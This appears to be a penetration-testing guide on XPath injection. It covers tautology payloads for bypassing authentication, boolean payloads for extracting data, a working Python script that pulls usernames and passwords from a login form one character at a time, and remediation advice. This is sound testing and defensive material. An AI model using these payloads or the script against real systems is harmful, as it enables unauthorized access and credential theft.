XPath Injection
XPath injection targets applications that use XML databases or XML-backed authentication. By manipulating XPath queries, attackers can bypass authentication, extract entire XML documents, and access data they shouldn't see. Unlike SQL injection, XPath has no concept of permissions — a successful injection gives access to the entire XML document.
Frameworks: WSTG-INPV-09 · ASVS 5.0 V1.2.7 · CWE-643 · T1190
Where XPath Injection Lives
XPath injection exists because XPath libraries mostly have no parameter binding. The query is a string,
input goes inside a predicate — //user[username='INPUT' and password='INPUT'] — and one
quote ends the literal. The escape is the quote, exactly as in SQL, but "parameterised XPath" is rarer
in practice because declaring and binding variables is awkward in the common APIs, so most code
concatenates.
It turns up in XML-backed authentication, configuration lookups, XQuery and SOAP endpoints, SAML
metadata handling, and older native-XML products. What bounds the impact: there is no privilege model
inside the document, so a successful injection reaches every node — but it cannot read a file or run a
command on its own. XPath 2.0's doc() function can load an external document in engines
that permit it, and that is the escalation worth testing.
Authentication Bypass
XPath authentication queries typically follow the pattern //user[username='INPUT' and password='INPUT'].
By injecting tautologies (always-true conditions), attackers can bypass authentication the same way as SQL injection.
A tautology works when the injected text closes the literal and adds a condition that is always true.
Send a quote, or '1'='1, or a variant that also closes the remaining predicate, then look
for a session as the first matching user — usually the administrator, because it sits first in the
document. A 500 carrying an XPath error confirms that your input reaches the query; it does not
confirm the bypass.
# Inject into Username and Password fields:
' or '1'='1
' or '1'='1
# Result: //user[username='' or '1'='1' and password='' or '1'='1']
admin' or '1'='1' or '1'='1
anything
admin']
anything
' or 1=1 or ''
' or 1=1 or ''Data Extraction
Unlike SQL, XPath has no permission system — a successful injection can access the entire XML document.
Use XPath functions like name(), substring(), count(), and contains()
to enumerate the XML structure and extract values.
With no output, infer one bit per request: substring() and string-length()
on a known node, count() to size the document, name() to learn the element
names the next query needs. A predicate such as ' or name(./*)='users' or 'a'='b returns
the same page when true and a different one when false. Read that difference, not the payload.
# Discover XML structure (node names):
' or name(.)='a' or 'a'='b
' or name(parent::*)='users' or 'a'='b
# Character-by-character string extraction:
' or substring(//user[1]/username,1,1)='a' or 'a'='b
' or substring(//user[1]/username,1,1)='b' or 'a'='b
# Count nodes:
' or count(//user)>0 or 'a'='b
' or count(//user)>5 or 'a'='b
' or count(//user)=10 or 'a'='b
# String length:
' or string-length(//user[1]/password)>5 or 'a'='b
' or string-length(//user[1]/password)=8 or 'a'='b
# Content search:
' or contains(//user[1]/password,'admin') or 'a'='bBlind XPath Injection
The script needs a boolean you trust — a string present only when the query matches. Test that indicator with a known-true and a known-false condition before looping, or you will extract garbage with confidence. Batch requests and throttle: character-by-character extraction against a login form looks exactly like a brute-force attack to the target's monitoring.
import requests
import string
url = "https://target.com/login"
charset = string.ascii_letters + string.digits + "@._-"
def xpath_blind(query):
payload = f"' or {query} or 'a'='b"
resp = requests.post(url, data={
'username': payload,
'password': 'x'
})
return 'Welcome' in resp.text # True condition indicator
# Count users:
for i in range(1, 50):
if xpath_blind(f'count(//user)={i}'):
print(f'[+] Found {i} users')
break
# Extract username character by character:
def extract_string(xpath_expr, max_len=50):
result = ''
for pos in range(1, max_len + 1):
found = False
for char in charset:
if xpath_blind(f"substring({xpath_expr},{pos},1)='{char}'"):
result += char
print(f'[+] {xpath_expr}: {result}')
found = True
break
if not found:
break
return result
# Extract all usernames:
user_count = 10 # from previous step
for i in range(1, user_count + 1):
username = extract_string(f'//user[{i}]/username')
password = extract_string(f'//user[{i}]/password')
print(f'User {i}: {username}:{password}')Confirming the Injection
Error-based confirmation is the fastest route: a lone quote either produces a 500 with an XPath exception or it does not. If errors are suppressed, compare a tautology, a contradiction and an unrelated value — only the predicate-true request should differ. Repeat on a second parameter and a second endpoint, because a difference on one field may be input validation rather than injection.
Testing Checklist
- ☐ 1. Identify potential XPath entry points (login forms, search, XML-backed APIs)
- ☐ 2. Test for errors with single quotes:
'in input fields - ☐ 3. Test authentication bypass with classic XPath tautologies
- ☐ 4. Test blind extraction using substring() and boolean conditions
- ☐ 5. Enumerate XML structure with name() and count()
- ☐ 6. Test for XPath 2.0 functions if available
- ☐ 7. Prove the predicate changed: tautology vs contradiction must differ
Evidence Collection
Injection Proof: Request/response showing authentication bypass or data extraction
Data Extracted: Usernames, structure — redact passwords in report
Differential Proof: Tautology, contradiction and unrelated-value responses side by side, showing the difference comes from the predicate and not from input validation
CVSS Range: Auth bypass: 8.1–9.8 | Data extraction: 7.5–8.6
Remediation
- • Parameterized XPath: Use parameterized/precompiled XPath queries instead of string concatenation.
- • Input validation: Reject or escape special characters:
' " [ ] / @ = *. - • Migrate to database: Consider migrating from XML data stores to a proper database with access controls.
- • Escape by construction, not by stripping: XPath 1.0 has no escape sequence for a quote inside a string literal. If you must concatenate, wrap the value with the other quote type or build it with
concat()— deleting quotes silently changes the value being searched. - • Restrict the engine: If the parser supports XPath 2.0+, disable
doc()and any external-function resolver, so a query cannot reach beyond the loaded document.
False Positive Identification
- XML parsing error ≠ injection: An XML/XPath error in the response indicates input reaches the query, but confirm you can extract data or bypass logic before classifying as exploitable injection.
- Limited data in XML store: XPath injection in a config file with no sensitive data may be low impact — assess what data the XML document contains.
- Modern frameworks protection: Many frameworks parameterize XPath queries — verify injection actually modifies the query structure, not just passes through as literal text.
- Apostrophe rejected by validation: A 400 on any quote means a filter stopped the request before it reached the query. That is not injection, and no amount of encoding will turn it into one.
- Tautology returns the first user anyway: If the login page always greets the first record in the document, a successful tautology looks identical to normal behaviour. Compare against a contradiction before claiming a bypass.
XPath Injection Practice
Exploit XPath query injection in a self-hosted vulnerable training app.